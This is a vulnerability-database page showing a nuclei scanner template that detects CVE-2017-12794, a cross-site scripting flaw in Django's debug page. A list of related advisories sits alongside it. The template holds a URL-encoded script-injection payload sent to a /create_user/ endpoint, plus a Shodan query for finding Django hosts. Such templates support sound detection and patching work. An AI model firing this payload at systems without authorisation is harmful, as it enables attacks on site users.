Lucene search
+L

Django Debug Page - Cross-Site Scripting

🗓️ 19 Oct 2026 02:08:20Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 116 Views

Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has disabled HTML autoescaping, allowing cross-site scripting attack in DEBUG=True scenari

Related
Refs
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
Django -- possible XSS in traceback section of technical 500 debug page
5 Sep 201700:00
–freebsd
attackerkb
attackerkb
CVE-2017-12794
7 Sep 201713:29
–attackerkb
alpinelinux
AlpineLinux
CVE-2017-12794
7 Sep 201713:00
–alpinelinux
bdu_fstec
BDU FSTEC
Django HTML Library XSS
18 Nov 201900:00
–bdu_fstec
circl
Circl
CVE-2017-12794
22 Jun 202113:37
–circl
cnvd
CNVD
Django Cross-Site Scripting Vulnerability (CNVD-2017-31693)
7 Sep 201700:00
–cnvd
cve
CVE
CVE-2017-12794
7 Sep 201713:00
–cve
cvelist
Cvelist
CVE-2017-12794
7 Sep 201713:00
–cvelist
debiancve
Debian CVE
CVE-2017-12794
7 Sep 201713:00
–debiancve
fedora
Fedora
[SECURITY] Fedora 26 Update: python-django-1.10.8-1.fc26
14 Sep 201721:56
–fedora
Rows per page
id: CVE-2017-12794

info:
  name: Django Debug Page - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Django or apply the necessary security patches provided by the Django project.
  reference:
    - https://twitter.com/sec715/status/1406779605055270914
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12794
    - https://www.djangoproject.com/weblog/2017/sep/05/security-releases/
    - http://web.archive.org/web/20211207172022/https://securitytracker.com/id/1039264
    - http://www.securitytracker.com/id/1039264
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-12794
    cwe-id: CWE-79
    epss-score: 0.23566
    epss-percentile: 0.97784
    cpe: cpe:2.3:a:djangoproject:django:1.10.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: djangoproject
    product: django
    shodan-query: cpe:"cpe:2.3:a:djangoproject:django"
  tags: cve2017,cve,xss,django,djangoproject,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201072512d356763dc87a377585b9c8f175e386632b4e8ed11b9928dfd06195fb9022100a085506bc49eecd9918d3f266c4886d9295000feeea873516ec271f916cb441b:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 36.1
EPSS0.23566
116